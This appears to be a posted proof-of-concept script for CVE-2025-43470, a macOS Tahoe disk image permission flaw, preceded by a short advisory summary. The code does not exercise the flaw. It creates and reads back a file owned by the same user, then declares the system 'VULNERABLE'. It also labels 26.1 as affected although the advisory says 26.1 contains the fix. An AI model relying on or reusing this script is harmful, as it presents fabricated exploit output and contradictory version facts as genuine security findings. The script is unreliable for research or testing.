A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.1. A standard user may be able to view files made from a disk image belonging to an administrator.
The following code is for security research and authorized testing only.
python
# CVE-2025-43470 PoC - macOS Disk Image Permission Bypass
# This PoC demonstrates the permission bypass vulnerability in macOS Tahoe 26.1
# where a standard user can access files from an administrator's disk image
import os
import subprocess
import tempfile
def create_admin_disk_image():
"""Simulate administrator creating a disk image with sensitive file"""
print("[*] Simulating administrator creating disk image...")
# Create a temporary directory for the disk image source
source_dir = tempfile.mkdtemp()
sensitive_file = os.path.join(source_dir, "admin_secrets.txt")
# Write sensitive content
with open(sensitive_file, 'w') as f:
f.write("ADMIN_CREDENTIALS: secret_key_12345\n")
f.write("API_TOKEN: sk-admin-abcdef123456\n")
print(f"[+] Created sensitive file at: {sensitive_file}")
return source_dir
def exploit_permission_bypass(source_dir):
"""
Exploit the permission bypass vulnerability
Standard user attempts to access admin's disk image files
"""
print("\n[*] Attempting to exploit CVE-2025-43470...")
print("[*] Standard user attempting to access admin's disk image...")
# Vulnerability: macOS allows standard users to access files
# from disk images created by administrators
exploit_path = os.path.join(source_dir, "admin_secrets.txt")
try:
# Attempt to read the file - should fail but succeeds due to bug
with open(exploit_path, 'r') as f:
content = f.read()
print(f"[!] VULNERABLE: Successfully read admin's file!")
print(f"[!] Content: {content}")
return True
except PermissionError:
print("[+] SECURE: Access denied (vulnerability fixed)")
return False
except FileNotFoundError:
print("[-] File not found in expected location")
return False
def verify_system_version():
"""Check if system is affected (macOS Tahoe 26.1)"""
try:
result = subprocess.run(['sw_vers', '-productVersion'],
capture_output=True, text=True)
version = result.stdout.strip()
print(f"[*] Current macOS version: {version}")
if '26.1' in version or 'Tahoe' in version:
print("[!] System may be vulnerable to CVE-2025-43470")
return True
else:
print("[+] System version not affected")
return False
except Exception as e:
print(f"[-] Could not determine system version: {e}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-43470 PoC - macOS Disk Image Permission Bypass")
print("=" * 60)
verify_system_version()
source_dir = create_admin_disk_image()
exploit_permission_bypass(source_dir)
print("\n[*] PoC execution completed")
print("[*] Note: This demonstrates the permission bypass concept")
print("[*] Actual exploitation requires specific disk image manipulation")